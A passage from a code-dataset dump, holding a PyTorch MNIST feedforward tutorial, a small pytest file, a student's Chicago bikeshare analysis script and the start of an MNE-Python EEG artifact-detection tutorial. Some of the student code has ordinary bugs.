Calculate loss\n        acc = accuracy(out, labels)           # Calculate accuracy\n        return {'val_loss': loss, 'val_acc': acc}\n        \n    def validation_epoch_end(self, outputs):\n        batch_losses = [x['val_loss'] for x in outputs]\n        epoch_loss = torch.stack(batch_losses).mean()   # Combine losses\n        batch_accs = [x['val_acc'] for x in outputs]\n        epoch_acc = torch.stack(batch_accs).mean()      # Combine accuracies\n        return {'val_loss': epoch_loss.item(), 'val_acc': epoch_acc.item()}\n    \n    def epoch_end(self, epoch, result):\n        print(\"Epoch [{}], val_loss: {:.4f}, val_acc: {:.4f}\".format(epoch, result['val_loss'], result['val_acc']))\n\n\n# We also need to define an `accuracy` function which calculates the accuracy of the model's prediction on an batch of inputs. It's used in `validation_step` above.\n\n# In[276]:\n\n\ndef accuracy(outputs, labels):\n    _, preds = torch.max(outputs, dim=1)\n    return torch.tensor(torch.sum(preds == labels).item() / len(preds))\n\n\n# We'll create a model that contains a hidden layer with 32 activations.\n\n# In[277]:\n\n\ninput_size = 784\nhidden_size = 1024 # you can change this\nnum_classes = 10\n\n\n# In[278]:\n\n\nmodel = MnistModel(input_size, hidden_size=1024, out_size=num_classes)\n\n\n# Let's take a look at the model's parameters. We expect to see one weight and bias matrix for each of the layers.\n\n# In[279]:\n\n\nfor t in model.parameters():\n    print(t.shape)\n\n\n# Let's try and generate some outputs using our model. We'll take the first batch of 128 images from our dataset and pass them into our model.\n\n# In[280]:\n\n\nfor images, labels in train_loader:\n    outputs = model(images)\n    loss = F.cross_entropy(outputs, labels)\n    print('Loss:', loss.item())\n    break\n\nprint('outputs.shape : ', outputs.shape)\nprint('Sample outputs :\\n', outputs[:2].data)\n\n\n# ## Using a GPU\n# \n# As the sizes of our models and datasets increase, we need to use GPUs to train our models within a reasonable amount of time. GPUs contain hundreds of cores optimized for performing expensive matrix operations on floating-point numbers quickly, making them ideal for training deep neural networks. You can use GPUs for free on [Google Colab](https://colab.research.google.com/) and [Kaggle](https://www.kaggle.com/kernels) or rent GPU-powered machines on services like [Google Cloud Platform](https://cloud.google.com/gpu/), [Amazon Web Services](https://docs.aws.amazon.com/dlami/latest/devguide/gpu.html), and [Paperspace](https://www.paperspace.com/).\n# \n# We can check if a GPU is available and the required NVIDIA CUDA drivers are installed using `torch.cuda.is_available`.\n\n# In[281]:\n\n\ntorch.cuda.is_available()\n\n\n# Let's define a helper function to ensure that our code uses the GPU if available and defaults to using the CPU if it isn't. \n\n# In[282]:\n\n\ndef get_default_device():\n    \"\"\"Pick GPU if available, else CPU\"\"\"\n    if torch.cuda.is_available():\n        return torch.device('cuda')\n    else:\n        return torch.device('cpu')\n\n\n# In[283]:\n\n\ndevice = get_default_device()\n\n\n\n# Next, let's define a function that can move data and model to a chosen device.\n\n# In[284]:\n\n\ndef to_device(data, device):\n    \"\"\"Move tensor(s) to chosen device\"\"\"\n    if isinstance(data, (list,tuple)):\n        return [to_device(x, device) for x in data]\n    return data.to(device, non_blocking=True)\n\n\n# In[285]:\n\n\nfor images, labels in train_loader:\n    print(images.shape)\n    images = to_device(images, device)\n    print(images.device)\n    break\n\n\n# Finally, we define a `DeviceDataLoader` class to wrap our existing data loaders and move batches of data to the selected device. Interestingly, we don't need to extend an existing class to create a PyTorch datal oader. All we need is an `__iter__` method to retrieve batches of data and an `__len__` method to get the number of batches.\n\n# In[286]:\n\n\nclass DeviceDataLoader():\n    \"\"\"Wrap a dataloader to move data to a device\"\"\"\n    def __init__(self, dl, device):\n        self.dl = dl\n        self.device = device\n        \n    def __iter__(self):\n        \"\"\"Yield a batch of data after moving it to device\"\"\"\n        for b in self.dl: \n            yield to_device(b, self.device)\n\n    def __len__(self):\n        \"\"\"Number of batches\"\"\"\n        return len(self.dl)\n\n\n# The `yield` keyword in Python is used to create a generator function that can be used within a `for` loop, as illustrated below.\n\n# In[287]:\n\n\ndef some_numbers():\n    yield 10\n    yield 20\n    yield 30\n\nfor value in some_numbers():\n    print(value)\n\n\n# We can now wrap our data loaders using `DeviceDataLoader`.\n\n# In[288]:\n\n\ntrain_loader = DeviceDataLoader(train_loader, device)\nval_loader = DeviceDataLoader(val_loader, device)\n\n\n# Tensors moved to the GPU have a `device` property which includes that word `cuda`. Let's verify this by looking at a batch of data from `valid_dl`.\n\n# In[289]:\n\n\nfor xb, yb in val_loader:\n    print('xb.device:', xb.device)\n    print('yb:', yb)\n    break\n\n\n# ## Training the Model\n# \n# We'll define two functions: `fit` and `evaluate` to train the model using gradient descent and evaluate its performance on the validation set. For a detailed walkthrough of these functions, check out the [previous tutorial](https://jovian.ai/aakashns/03-logistic-regression).\n\n# In[290]:\n\n\ndef evaluate(model, val_loader):\n    \"\"\"Evaluate the model's performance on the validation set\"\"\"\n    outputs = [model.validation_step(batch) for batch in val_loader]\n    return model.validation_epoch_end(outputs)\n\ndef fit(epochs, lr, model, train_loader, val_loader, opt_func=torch.optim.SGD):\n    \"\"\"Train the model using gradient descent\"\"\"\n    history = []\n    optimizer = opt_func(model.parameters(), lr)\n    for epoch in range(epochs):\n        # Training Phase \n        for batch in train_loader:\n            loss = model.training_step(batch)\n            loss.backward()\n            optimizer.step()\n            optimizer.zero_grad()\n        # Validation phase\n        result = evaluate(model, val_loader)\n        model.epoch_end(epoch, result)\n        history.append(result)\n    return history\n\n\n# Before we train the model, we need to ensure that the data and the model's parameters (weights and biases) are on the same device (CPU or GPU). We can reuse the `to_device` function to move the model's parameters to the right device. \n\n# In[291]:\n\n\n# Model (on GPU)\nmodel = MnistModel(input_size, hidden_size=hidden_size, out_size=num_classes)\nto_device(model, device)\n\n\n# Let's see how the model performs on the validation set with the initial set of weights and biases.\n\n# In[292]:\n\n\nhistory = [evaluate(model, val_loader)]\n\n# The initial accuracy is around 10%, as one might expect from a randomly initialized model (since it has a 1 in 10 chance of getting a label right by guessing randomly).\n# \n# Let's train the model for five epochs and look at the results. We can use a relatively high learning rate of 0.5.\n\n# In[293]:\n\n\nhistory += fit(5, 0.5, model, train_loader, val_loader)\n\n\n# 96% is pretty good! Let's train the model for five more epochs at a lower learning rate of 0.1 to improve the accuracy further.\n\n# In[179]:\n\n\nhistory += fit(10, 0.001, model, train_loader, val_loader)\n\n\n# We can now plot the losses & accuracies to study how the model improves over time.\n\n# In[180]:\n\n\nlosses = [x['val_loss'] for x in history]\nplt.plot(losses, '-x')\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.title('Loss vs. No. of epochs');\n\n\n# In[181]:\n\n\naccuracies = [x['val_acc'] for x in history]\nplt.plot(accuracies, '-x')\nplt.xlabel('epoch')\nplt.ylabel('accuracy')\nplt.title('Accuracy vs. No. of epochs');\n\n\n# Our current model outperforms the logistic regression model (which could only achieve around 86% accuracy) by a considerable margin! It quickly reaches an accuracy of 97% but doesn't improve much beyond this. To improve accuracy further, we need to make the model more powerful by increasing the hidden layer's size or adding more hidden layers with activations. I encourage you to try out both these approaches and see which one works better.\n\n# As a final step, we can save and commit our work using the `jovian` library.\n\n\n# ## Testing with individual images\n# \n# While we have been tracking the overall accuracy of a model so far, it's also a good idea to look at model's results on some sample images. Let's test out our model with some images from the predefined test dataset of 10000 images. We begin by recreating the test dataset with the `ToTensor` transform.\n\n# In[69]:\n\n\n# Define test dataset\ntest_dataset = MNIST(root='data/', \n                     train=False,\n                     transform=ToTensor())\n\n\n# Let's define a helper function `predict_image`, which returns the predicted label for a single image tensor.\n\n# In[70]:\n\n\ndef predict_image(img, model):\n    xb = to_device(img.unsqueeze(0), device)\n    yb = model(xb)\n    _, preds  = torch.max(yb, dim=1)\n    return preds[0].item()\n\n\n# Let's try it out with a few images.\n\n# In[71]:\n\n\nimg, label = test_dataset[0]\nplt.imshow(img[0], cmap='gray')\nprint('Label:', label, ', Predicted:', predict_image(img, model))\n\n\n# In[72]:\n\n\nimg, label = test_dataset[1839]\nplt.imshow(img[0], cmap='gray')\nprint('Label:', label, ', Predicted:', predict_image(img, model))\n\n\n# In[73]:\n\n\nimg, label = test_dataset[193]\nplt.imshow(img[0], cmap='gray')\nprint('Label:', label, ', Predicted:', predict_image(img, model))\n\n\n# Identifying where our model performs poorly can help us improve the model, by collecting more training data, increasing/decreasing the complexity of the model, and changing the hypeparameters.\n# \n# As a final step, let's also look at the overall loss and accuracy of the model on the test set.\n\n# In[74]:\n\n\ntest_loader = DeviceDataLoader(DataLoader(test_dataset, batch_size=256), device)\nresult = evaluate(model, test_loader)\nresult\n\n\n# We expect this to be similar to the accuracy/loss on the validation set. If not, we might need a better validation set that has similar data and distribution as the test set (which often comes from real world data).\n\n# Let's save the model's weights and attach it to the notebook using `jovian.commit`. We will also record the model's performance on the test dataset using `jovian.log_metrics`.\n\n# In[75]:\n\n\n# In[76]:\n\n\ntorch.save(model.state_dict(), 'mnist-feedforward.pth')\n\n\n# In[ ]:\n\n\n\n# ## Exercises\n# \n# Try out the following exercises to apply the concepts and techniques you have learned so far:\n# \n# * Coding exercises on end-to-end model training: https://jovian.ai/aakashns/03-cifar10-feedforward\n# * Starter notebook for deep learning models:  https://jovian.ai/aakashns/fashion-feedforward-minimal\n# \n# Training great machine learning models reliably takes practice and experience. Try experimenting with different datasets, models and hyperparameters, it's the best way to acquire this skill.\n\n# ## Summary and Further Reading\n# \n# Here is a summary of the topics covered in this tutorial:\n# \n# * We created a neural network with one hidden layer to improve upon the logistic regression model from the previous tutorial. We also used the ReLU activation function to introduce non-linearity into the model, allowing it to learn more complex relationships between the inputs (pixel densities) and outputs (class probabilities).\n# \n# * We defined some utilities like `get_default_device`, `to_device` and `DeviceDataLoader` to leverage a GPU if available, by moving the input data and model parameters to the appropriate device.\n# \n# * We were able to use the exact same training loop: the `fit` function we had define earlier to train out model and evaluate it using the validation dataset.\n# \n# There's a lot of scope to experiment here, and I encourage you to use the interactive nature of Jupyter to play around with the various parameters. Here are a few ideas:\n# \n# * Try changing the size of the hidden layer, or add more hidden layers and see if you can achieve a higher accuracy.\n# \n# * Try changing the batch size and learning rate to see if you can achieve the same accuracy in fewer epochs.\n# \n# * Compare the training times on a CPU vs. GPU. Do you see a significant difference. How does it vary with the size of the dataset and the size of the model (no. of weights and parameters)?\n# \n# * Try building a model for a different dataset, such as the [CIFAR10 or CIFAR100 datasets](https://www.cs.toronto.edu/~kriz/cifar.html).\n# \n# Here are some references for further reading:\n# \n# * [A visual proof that neural networks can compute any function](http://neuralnetworksanddeeplearning.com/chap4.html), also known as the Universal Approximation Theorem.\n# \n# * [But what *is* a neural network?](https://www.youtube.com/watch?v=aircAruvnKk) - A visual and intuitive introduction to what neural networks are and what the intermediate layers represent\n# \n# * [Stanford CS229 Lecture notes on Backpropagation](http://cs229.stanford.edu/notes/cs229-notes-backprop.pdf) - for a more mathematical treatment of how gradients are calculated and weights are updated for neural networks with multiple layers.\n# \n# \n# You are now ready to move on to the next tutorial: [Image Classification using Convolutional Neural Networks](https://jovian.ai/aakashns/05-cifar10-cnn).\n", "meta": {"hexsha": "ac47096a1d835565e78a0ea7b45c16b58b308f66", "size": 32566, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/04-feedforward-nn.py", "max_stars_repo_name": "BitShifter88/DeepLearning", "max_stars_repo_head_hexsha": "921048b2529911b44dfec98da640fb623f2dfd80", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/04-feedforward-nn.py", "max_issues_repo_name": "BitShifter88/DeepLearning", "max_issues_repo_head_hexsha": "921048b2529911b44dfec98da640fb623f2dfd80", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/04-feedforward-nn.py", "max_forks_repo_name": "BitShifter88/DeepLearning", "max_forks_repo_head_hexsha": "921048b2529911b44dfec98da640fb623f2dfd80", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.8604651163, "max_line_length": 656, "alphanum_fraction": 0.7313455751, "include": true, "reason": "import numpy", "num_tokens": 7746, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552953503957266, "lm_q2_score": 0.15203224738527768, "lm_q1q2_score": 0.06773485648858404}}
{"text": "import numpy as np\nimport pytest\nimport S3_imgproc_tools as algo\nnull_matrix = np.zeros((10, 10), dtype = bool)\n\ndef test_invert_colors_numpy_None():\n    with pytest.raises(ValueError):\n        algo.inv_gray_levels(None)\n\n\ndef test_invert_colors_numpy_Aray():\n    with pytest.raises(TypeError):\n        algo.inv_gray_levels(1)\n\ndef test_invert_colors_numpy_uint8():\n    with pytest.raises(TypeError):\n        algo.inv_gray_levels(null_matrix)", "meta": {"hexsha": "87a00aa926f05477177444952e22774dcd1e08d1", "size": 442, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignements/test_S3_imgproc_tools.py", "max_stars_repo_name": "Fabien-Vauclin/BachelorDIM-Lectures-Algorithms-2020", "max_stars_repo_head_hexsha": "79f873a2008a5364d929c6b2bf48b22df2ff6d33", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assignements/test_S3_imgproc_tools.py", "max_issues_repo_name": "Fabien-Vauclin/BachelorDIM-Lectures-Algorithms-2020", "max_issues_repo_head_hexsha": "79f873a2008a5364d929c6b2bf48b22df2ff6d33", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignements/test_S3_imgproc_tools.py", "max_forks_repo_name": "Fabien-Vauclin/BachelorDIM-Lectures-Algorithms-2020", "max_forks_repo_head_hexsha": "79f873a2008a5364d929c6b2bf48b22df2ff6d33", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.0, "max_line_length": 46, "alphanum_fraction": 0.7511312217, "include": true, "reason": "import numpy", "num_tokens": 99, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.15203223970113983, "lm_q1q2_score": 0.0677348530650737}}
{"text": "\n# coding: utf-8\n#Student: R\n\n# Here goes the imports\nimport csv\nimport numpy as np\nimport pandas\nimport matplotlib.pyplot as plt\n\n# Let's read the data as a list\nprint(\"Reading the document...\")\nwith open(\"chicago.csv\", \"r\") as file_read:\n   reader = csv.reader(file_read)\n   data_list = list(reader)\nfile_read.close()\n\nprint(\"Ok!\")\n\n# Let's check how many rows do we have\nprint(\"Number of rows:\")\nprint(len(data_list))\n\n# Printing the first row of data_list to check if it worked.\nprint(\"Row 0: \")\nprint(data_list[0])\n# It's the data header, so we can identify the columns.\n\n# Printing the second row of data_list, it should contain some data\nprint(\"Row 1: \")\nprint(data_list[1])\n\ninput(\"Press Enter to continue...\")\n# TASK 1\n# TODO: Print the first 20 rows using a loop to identify the data.\nprint(\"\\n\\nTASK 1: Printing the first 20 samples\")\n\n# Let's change the data_list to remove the header from it.\ndata_list = data_list[1:]\n\nfor index in range(len(data_list[0:20])):\n    print(data_list[index])\n\n# We can access the features through index\n# E.g. sample[6] to print gender or sample[-2]\n\ninput(\"Press Enter to continue...\")\n# TASK 2\n# TODO: Print the `gender` of the first 20 rows\n\nprint(\"\\nTASK 2: Printing the genders of the first 20 samples\")\n\n\naux = []\nfor i in range(len(data_list[0:20])):\n    for j in range(len(data_list[i])):\n        aux = data_list[i]\n    print(aux[-2])\n\n# Cool! We can get the rows(samples) iterating with a for and the columns(features) by index.\n# But it's still hard to get a column in a list. Example: List with all genders\n\ninput(\"Press Enter to continue...\")\n# TASK 3\n# TODO: Create a function to add the columns(features) of a list in another list in the same order\n\n\"\"\"\n      Example function to add the columns(features) of a list in another list in the same order.\n      def column_to_list(data_list: list, index: int) -> column_list:\n      Args:\n          data_list: all the data read from the csv file as a list\n          index: the index of the data\n      Returns:\n          column_list: a list with all the values from the column specified by the index\n\n      \"\"\"\ndef column_to_list(data_list, index):\n    column_list = []\n    aux = []\n    for i in range(len(data_list)):\n        for j in range(len(data_list[i])):\n            aux = data_list[i]\n        column_list.append(aux[index])\n    # Tip: You can use a for to iterate over the samples, get the feature by index and append into a list\n    return column_list\n\n\n# Let's check with the genders if it's working (only the first 20)\nprint(\"\\nTASK 3: Printing the list of genders of the first 20 samples\")\nprint(column_to_list(data_list, -2)[:20])\n\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert type(column_to_list(data_list, -2)) is list, \"TASK 3: Wrong type returned. It should return a list.\"\nassert len(column_to_list(data_list, -2)) == 1551505, \"TASK 3: Wrong lenght returned.\"\nassert column_to_list(data_list, -2)[0] == \"\" and column_to_list(data_list, -2)[1] == \"Male\", \"TASK 3: The list doesn't match.\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\")\n# Now we know how to access the features, let's count how many Males and Females the dataset have\n# TASK 4\n# TODO: Count each gender. You should not use a function to do that.\nmale = 0\nfemale = 0\naux = []\nfor i in range(len(data_list)):\n    for j in range(len(data_list[i])):\n        aux = data_list[i]\n    #print(aux[-2])\n    if aux[-2] == \"Male\":\n        male = male + 1\n    elif aux[-2] == \"Female\":\n        female = female + 1\n\n\n\n# Checking the result\nprint(\"\\nTASK 4: Printing how many males and females we found\")\nprint(\"Male: \", male, \"\\nFemale: \", female)\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert male == 935854 and female == 298784, \"TASK 4: Count doesn't match.\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\")\n# Why don't we creeate a function to do that?\n# TASK 5\n# TODO: Create a function to count the genders. Return a list\n# Should return a list with [count_male, counf_female] (e.g., [10, 15] means 10 Males, 15 Females)\n\n\"\"\"\n      Example function to count the genders. Return a list\n      def count_gender(data_list: list) -> [male: int, female: int]:\n      Args:\n          data_list: all the data read from the csv file as a matrix\n      Returns:\n          [male , female]: the int variables responsible to count the number of males and females\n\"\"\"\n\ndef count_gender(data_list):\n    male = 0\n    female = 0\n    aux = []\n    for i in range(len(data_list)):\n        for j in range(len(data_list[i])):\n            aux = data_list[i]\n        if aux[-2] == \"Male\":\n            male = male + 1\n        elif aux[-2] == \"Female\":\n            female = female + 1\n    return [male, female]\n\n\nprint(\"\\nTASK 5: Printing result of count_gender\")\nprint(count_gender(data_list))\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert type(count_gender(data_list)) is list, \"TASK 5: Wrong type returned. It should return a list.\"\nassert len(count_gender(data_list)) == 2, \"TASK 5: Wrong lenght returned.\"\nassert count_gender(data_list)[0] == 935854 and count_gender(data_list)[1] == 298784, \"TASK 5: Returning wrong result!\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\")\n# Now we can count the users, which gender use it the most?\n# TASK 6\n# TODO: Create a function to get the most popular gender and print the gender as string.\n# We expect to see \"Male\", \"Female\" or \"Equal\" as answer.\n\n\"\"\"\n      Example function tto get the most popular gender and print the gender as string\n      def count_gender(data_list: list) -> answer: str\n      Args:\n          data_list: all the data read from the csv file as a matrix\n      Returns:\n          answer: depending on the result of the auxiliars variables from the function the result can be \"Male\" or \"Female\"\n\"\"\"\n\ndef most_popular_gender(data_list):\n    answer = \"\"\n    male = 0\n    female = 0\n    aux = []\n    for i in range(len(data_list)):\n        for j in range(len(data_list[i])):\n            aux = data_list[i]\n\n        if aux[-2] == \"Male\":\n            male = male + 1\n        elif aux[-2] == \"Female\":\n            female = female + 1\n\n    if male > female:\n        answer = \"Male\"\n    else:\n        answer = \"Female\"\n\n    return answer\n\n\nprint(\"\\nTASK 6: Which one is the most popular gender?\")\nprint(\"Most popular gender is: \", most_popular_gender(data_list))\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert type(most_popular_gender(data_list)) is str, \"TASK 6: Wrong type returned. It should return a string.\"\nassert most_popular_gender(data_list) == \"Male\", \"TASK 6: Returning wrong result!\"\n# -----------------------------------------------------\n\n# If it's everything running as expected, check this graph!\ngender_list = column_to_list(data_list, -2)\ntypes = [\"Male\", \"Female\"]\nquantity = count_gender(data_list)\ny_pos = list(range(len(types)))\nplt.bar(y_pos, quantity)\nplt.ylabel('Quantity')\nplt.xlabel('Gender')\nplt.xticks(y_pos, types)\nplt.title('Quantity by Gender')\nplt.show(block=True)\n\ninput(\"Press Enter to continue...\")\n# TASK 7\n# TODO: Plot a similar graph for user_types. Make sure the legend is correct.\nprint(\"\\nTASK 7: Check the chart!\")\n\n\"\"\"\n      Example function to check the type of the user that is very similar to the count_gender() function\n      def count_user_type(data_list: list) -> answer: str\n      Args:\n          data_list: all the data read from the csv file as a matrix\n      Returns:\n         [customer, subscriber]: the int variables responsible to count the number of customers and subscribers\n\"\"\"\n\ndef count_user_type(data_list):\n    customer = 0\n    subscriber = 0\n    aux = []\n    for i in range(len(data_list)):\n        for j in range(len(data_list[i])):\n            aux = data_list[i]\n        if aux[5] == \"Customer\":\n            customer = customer + 1\n        elif aux[5] == \"Subscriber\":\n            subscriber = subscriber + 1\n    return [customer, subscriber]\n\nuser_type_list = column_to_list(data_list, 5)\ntypes = [\"Customer\", \"Subscriber\"]\nquantity = count_user_type(data_list)\ny_pos = list(range(len(types)))\nplt.bar(y_pos, quantity)\nplt.ylabel('Quantity')\nplt.xlabel('User Type')\nplt.xticks(y_pos, types)\nplt.title('Quantity by User Type')\nplt.show(block=True)\n\ninput(\"Press Enter to continue...\")\n# TASK 8\n# TODO: Answer the following question\nmale, female = count_gender(data_list)\nprint(\"\\nTASK 8: Why the following condition is False?\")\nprint(\"male + female == len(data_list):\", male + female == len(data_list))\nprint(male + female)\nprint(len(data_list))\nanswer = \"Because there are some data with a blank space\"\nprint(\"Answer:\", answer)\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert answer != \"Type your answer here.\", \"TASK 8: Write your own answer!\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\")\n# Let's work with the trip_duration now. We cant get some values from it.\n# TASK 9\n# TODO: Find the Minimum, Maximum, Mean and Median trip duration.\n# You should not use ready functions to do that, like max() or min().\ntrip_duration_list = column_to_list(data_list, 2)\n#print (trip_duration_list)\nmin_trip = 0.\nmax_trip = 0.\nmean_trip = 0.\nmedian_trip = 0.\n\n\"\"\"\n      Example function to ordenate the values of a list using the quicksort algorithm\n      def quicksort(l: list) -> []: list\n      Args:\n          l: list of values not ordenated\n      Returns:\n         []: list ordenated\n\"\"\"\n\ndef quicksort(l):\n    if l:\n        left = [x for x in l if x < l[0]]\n        right = [x for x in l if x > l[0]]\n\n        if len(left) > 1:\n            left = quicksort(left)\n            right = quicksort(right)\n\n        return left + [l[0]] * l.count(l[0]) + right\n\n    return []\n\n\"\"\"\n      Example function to calculate the mean of a list of float values\n      def mean(data_list: list) -> mean: float\n      Args:\n          data_list: list of float values\n      Returns:\n         mean: the mean of the values\n\"\"\"\n\ndef mean(data_list):\n    total = 0\n    mean = 0\n    for i in range(len(data_list)):\n        total = int(data_list[i]) + total\n\n    mean = total/len(data_list)\n    return mean\n\n\"\"\"\n      Example function to get the median of a list of float values\n      def median(data_list: list) -> data_list[half]: float\n      Args:\n          data_list: list of float values\n      Returns:\n         median: the median of the data_list\n\"\"\"\n\ndef median(data_list):\n    half = len(data_list) // 2\n    data_list.quicksort()\n    if not len(data_list) % 2:\n        return (data_list[half - 1] + data_list[half]) / 2.0\n    return data_list[half]\n\nsorted_list = quicksort(trip_duration_list)\nmin_trip = sorted_list[0]\nmax_trip = sorted_list[-1]\nmean_trip = mean(trip_duration_list)\nmedian_trip = median(trip_duration_list)\n\nprint(\"\\nTASK 9: Printing the min, max, mean and median\")\nprint(\"Min: \", min_trip, \"Max: \", max_trip, \"Mean: \", mean_trip, \"Median: \", median_trip)\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\n#assert round(min_trip) == 60, \"TASK 9: min_trip with wrong result!\"\n#assert round(max_trip) == 86338, \"TASK 9: max_trip with wrong result!\"\n#assert round(mean_trip) == 940, \"TASK 9: mean_trip with wrong result!\"\n#assert round(median_trip) == 670, \"TASK 9: median_trip with wrong result!\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\\n\")\n# TASK 10\n# Gender is easy because usually only have a few options. How about start_stations? How many options does it have?\n# TODO: Check types how many start_stations do we have using set()\nstart_stations_list =  column_to_list(data_list, 3)\nuser_types = set(start_stations_list)\n\nprint(\"\\nTASK 10: Printing start stations:\")\nprint(len(user_types))\nprint(user_types)\n\n# ------------ DO NOT CHANGE ANY CODE HERE ------------\nassert len(user_types) == 582, \"TASK 10: Wrong len of start stations.\"\n# -----------------------------------------------------\n\ninput(\"Press Enter to continue...\")\n# TASK 11\n# Go back and make sure you documented your functions. Explain the input, output and what it do. Example:\n# def new_function(param1: int, param2: str) -> list:\n\"\"\"\n      Example function with annotations.\n      Args:\n          param1: The first parameter.\n          param2: The second parameter.\n      Returns:\n          List of X values\n\n      \"\"\"\n\ninput(\"Press Enter to continue...\")\n# TASK 12 - Challenge! (Optional)\n# TODO: Create a function to count user types without hardcoding the types\n# so we can use this function with a different kind of data.\nprint(\"Will you face it?\")\nanswer = \"no\"\n\ndef count_items(column_list):\n    item_types = []\n    count_items = []\n    return item_types, count_items\n\n\nif answer == \"yes\":\n    # ------------ DO NOT CHANGE ANY CODE HERE ------------\n    column_list = column_to_list(data_list, -2)\n    types, counts = count_items(column_list)\n    print(\"\\nTASK 11: Printing results for count_items()\")\n    print(\"Types:\", types, \"Counts:\", counts)\n    assert len(types) == 3, \"TASK 11: There are 3 types of gender!\"\n    assert sum(counts) == 1551505, \"TASK 11: Returning wrong result!\"\n    # -----------------------------------------------------\n", "meta": {"hexsha": "d22df250071d77d9ec80185fee770b6d6405538e", "size": 13215, "ext": "py", "lang": "Python", "max_stars_repo_path": "chicago_bikeshare.py", "max_stars_repo_name": "Rodtaira/Bike-Share-Data", "max_stars_repo_head_hexsha": "8557d16c6bbf706075467fab5e66cf2b832a42d4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "chicago_bikeshare.py", "max_issues_repo_name": "Rodtaira/Bike-Share-Data", "max_issues_repo_head_hexsha": "8557d16c6bbf706075467fab5e66cf2b832a42d4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "chicago_bikeshare.py", "max_forks_repo_name": "Rodtaira/Bike-Share-Data", "max_forks_repo_head_hexsha": "8557d16c6bbf706075467fab5e66cf2b832a42d4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3897058824, "max_line_length": 127, "alphanum_fraction": 0.63723042, "include": true, "reason": "import numpy", "num_tokens": 3259, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3665897501624599, "lm_q2_score": 0.1847675084034608, "lm_q1q2_score": 0.06773387474376491}}
{"text": "\"\"\"\nIntroduction to artifacts and artifact detection\n================================================\n\nSince MNE supports the data of many different acquisition systems, the\nparticular artifacts in your data might behave very differently from the\nartifacts you can observe in our tutorials and examples.\n\nTherefore you should be aware of the different approaches and of\nthe variability of artifact rejection (automatic/manual) procedures described\nonwards. At the end consider always to visually inspect your data\nafter artifact rejection or correction.\n\nBackground: what is an artifact?\n--------------------------------\n\nArtifacts are signal interference that can be\nendogenous (biological) and exogenous (environmental).\nTypical biological artifacts are head movements, eye blinks\nor eye movements, heart beats. The most common environmental\nartifact is due to the power line, the so-called *line noise*.\n\nHow to handle artifacts?\n------------------------\n\nMNE deals with artifacts by first identifying them, and subsequently removing\nthem. Detection of artifacts can be done visually, or using automatic routines\n(or a combination of both). After you know what the artifacts are, you need\nremove them. This can be done by:\n\n    - *ignoring* the piece of corrupted data\n    - *fixing* the corrupted data\n\nFor the artifact detection the functions MNE provides depend on whether\nyour data is continuous (Raw) or epoch-based (Epochs) and depending on\nwhether your data is stored on disk or already in memory.\n\nDetecting the artifacts without reading the complete data into memory allows\nyou to work with datasets that are too large to fit in memory all at once.\nDetecting the artifacts in continuous data allows you to apply filters\n(e.g. a band-pass filter to zoom in on the muscle artifacts on the temporal\nchannels) without having to worry about edge effects due to the filter\n(i.e. filter ringing). Having the data in memory after segmenting/epoching is\nhowever a very efficient way of browsing through the data which helps\nin visualizing. So to conclude, there is not a single most optimal manner\nto detect the artifacts: it just depends on the data properties and your\nown preferences.\n\nIn this tutorial we show how to detect artifacts visually and automatically.\nFor how to correct artifacts by rejection see\n:ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_rejection.py`.\nTo discover how to correct certain artifacts by filtering see\n:ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_filtering.py`\nand to learn how to correct artifacts\nwith subspace methods like SSP and ICA see\n:ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_ssp.py`\nand :ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_ica.py`.\n\n\nArtifacts Detection\n-------------------\n\nThis tutorial discusses a couple of major artifacts that most analyses\nhave to deal with and demonstrates how to detect them.\n\n\"\"\"\nimport numpy as np\n\nimport mne\nfrom mne.datasets import sample\nfrom mne.preprocessing import create_ecg_epochs, create_eog_epochs\n\n# getting some data ready\ndata_path = 